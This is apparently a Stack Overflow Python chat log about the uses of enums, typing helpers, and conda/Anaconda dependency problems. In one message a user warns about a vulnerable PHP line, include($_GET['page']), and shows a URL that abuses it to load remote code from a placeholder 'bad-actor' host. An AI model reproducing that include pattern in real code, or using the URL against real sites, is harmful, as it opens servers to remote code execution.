π I'm often torn; don't want to copy/pasta too much (kudos for MIT licensing, but I feel bad any time maintenance/improvements get split), don't necessarily desire an additional dependency. But I'll give your lib a proper look over after work; it looks darn close.
get_origin would replace a bunch of my own code to work that out. I'll investigate how robust get_python_type is, then investigate recursion. Ran into one mind-blowing trouble spot, actually: from numbers import Number; from inspect import isabstract; assert isabstract(Number) ← boom. So that's one special case to get startedβ¦
I didn't publish that on pypi, so if you want to have it as a dependency you'll have to install it from github. Or just do the ol' Ctrl+C/Ctrl+V instead
@Aran-Fey Ref: the "my very first implementation" link given earlier; that's where this will end up being used, as part of the AnnotationExtension.collect data ingress processing.
I've spent quite a bit of time today trying to understand its purpose in Python. To my knowledge there still isn't an convincing argument on why I need them
The reason that this came up for me is going over them in kotlin, and it sorta made sense with interface being a thing in Java. I just can't translate it to a decent example in Python
@roganjosh An enum is essentially just a specific type of flag, one where the flag may have one of a set of possible values, rather than simply being boolean: present or not. They're useful any time you have a very specific set of allowable options. A poor example being zip.DEFLATED as a constant. If multiple values were actually supported, this ought to be an enum. For something that's already suitable, ref: Z_BEST_SPEED.
@amcgregor That's a specific example that has been lacking for me so far (days of the week, as commonly stated, seems a bit weak/crap because I really should have enough of a grip on what I'm processing and day 8 will never exist). I'll think about that one a bit more, thanks
I use enums for command line args that specify one of several choices. Makes for easy conversion from string to testable type, easy update of choices passed to add_argument (by just enumerating over the enum class), and easy location of where the enum is referenced (vs grepping for strings that might be in single quotes, might be in double quotes).
Counter-example where an enum is essential: <?php include($_GET['page']); ?> ← I've literally fired a client for having the equivalent of this. Without restriction. (He didn't realize url_fopen was a thing, thus: index.php?http://bad-actor/spam-all-the-things.phps was possible.) An enum would have saved the fellow responsible the time to look for new hosting. π
(Distinctly useful for validating/constraining user data.)
In that case, it's the implementation that isn't being conveyed to me in the existing answers on this. I'll try re-find the ones I was reading today. If Enum doesn't explode in just the same way with an invalid parameter, then I'm even more confused
This doesn't illustrate an issue that's overcome to me. This doesn't illustrate with a particular case (and, my god, Aaron is fantastic with in-depth stuff). What about this? All I want is a definite example where something blows up if you don't use them
Without the explode-y example, I'm guess I'm just not going to have the lightbulb moment of why I need all these features
> a definite example where something blows up if you don't use them
Probably no such thing. Do you eschew list comprehensions? You don't have to use them, you can just do a for loop with append and nothing will blow up.
@toonarmycaptain I'll see your enumerate and raise you one iterate. An enumerate that can tell you're iterating the final iteration as you iterate it, even for unsized iterables. π½ I think that may be the over-engineering you were looking for.
@roganjosh Problem with proving a negative. Code only "does things" when executed. If the code is never executed⦠how can it explode?
There are possible edge cases such as setting up a timer signal then not handling it later, but that's asynchronous deferral and non-handling of that deferred act, not "exploding by not running"β¦ quite.
My automated testing code has to retry some steps due to timing issues, and I needed a decent idiom for looping, knowing when to give up, knowing if I had to try more than once, knowing if I was on the final try, etc., without ugly if this_try_num == total_try_nums - 1: and such
Ok, thanks guys. That's confirmed my base suspicion. So the next step for me is illustrating an example where it saves me some reasonable effort. (That's not me demanding that you come up with something, but it's my model of learning and this is one subject that seems particularly esoteric - remember, my original reason for mentioning this was to suggest that a practical example would be helpful on Aran-Fey's blog)
@roganjosh Look at almost any "fairly bare C" code exposed to the Python runtime. Zlib was just the first of many, many examples where the essence of the C enum type has "leaked through". Though, for historical reasons, almost entirely as module-level ALL_CAPS constants, not real enum instances.
Pillow, the modern/supported PIL fork, has quite a set of additional enums or enum-alikes, given image formats have all sorts of "one of a set of" options, like pixel format (RGB, Greyscale, Indexed), and bit depth. (Usually not arbitrary; 8, 12, 16, or 24 bits being most common.)
@PaulMcG Much appreciated! That looks like a great test bed to start breaking stuff to actually deconstruct the module and get an intuitive understanding
@toonarmycaptain I submitted a talk about writing plusminus, but no word yet on whether it is accepted. I'll probably cook up a lightning talk otherwise.
Anyone have Anaconda on Windows and can launch Python for me from a command shell? I need something like the following:
$ python
Python 3.7.5 (default, Oct 25 2019, 15:51:11)
[GCC 7.3.0] :: Anaconda, Inc. on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
(trying to help a poor Windows user troubleshoot...)
@AaronHall The issue is actually that conda upgrade downgrades openssl from 1.1.x to 1.0.x... Hence Python and other dependencies can't be properly upgraded.
@AaronHall Yeah except I'm trying to remember which of my packages will require manual install again... but I suppose I'd better just bite the bullet and get on with it. Sigh...
@smci #relate :P If it's on Windows, pip will work if you select Anaconda to to be the primary Python interpreter during installation (you also have to add the "not recommended" warning when you install it, which it adds it to the system PATH for you). This comes with no guarantee, I can only say that 3 years of reasonably-educated installations have caused no problems
@roganjosh the problem with Anaconda is that it's a Python distribution and (with conda) mostly a Python package manager (with small additions like R). Nix, on the other hand, is a build system, package manager, and even an operating system.
It also has other positives, like pure build environments, caches, and byte-reproducible builds.
$ type nix_python_async_shell
nix_python_async_shell is a function
nix_python_async_shell ()
{
nix-shell --pure -p python38 --command "python -m asyncio"
}
conda update spyder worked. Oddly. Since I didn't change anything (that I know of) in the base environment. That's now catapulted me to Pandas 1.0.0. It'll be fun floundering around there :P
@roganjosh As I mentioned in my case, last night conda upgrade cheerfully told me it proposed to remove every (Python-related) package in my environment. If I had always_yes turned on it would have gone ahead with that. (Due to the openssl version downgrade requirement.)
@smci 4.7.12. I think the issue in the end is that the current Anaconda version from here has dependency issues in what it's shipping. Downgrading conda works to fix the first issue, but then it keeps finding conflicts when you e.g. try to upgrade to Spyder 4. There are no irreconcilable conflicts but I think it can't find its way through dependencies. The solution was simply conda update --all
@roganjosh Yes I already acknowledged reading that, but I replied conda update behavior depends heavily on the ~/.condarc configuration. In my case I'm sitting here looking at a spinner 30 min after trying conda update --all. At some point I run out of patience and nuke my current environment and restart from the glowing ashes. Or else wait 6mths for Anaconda to fix this.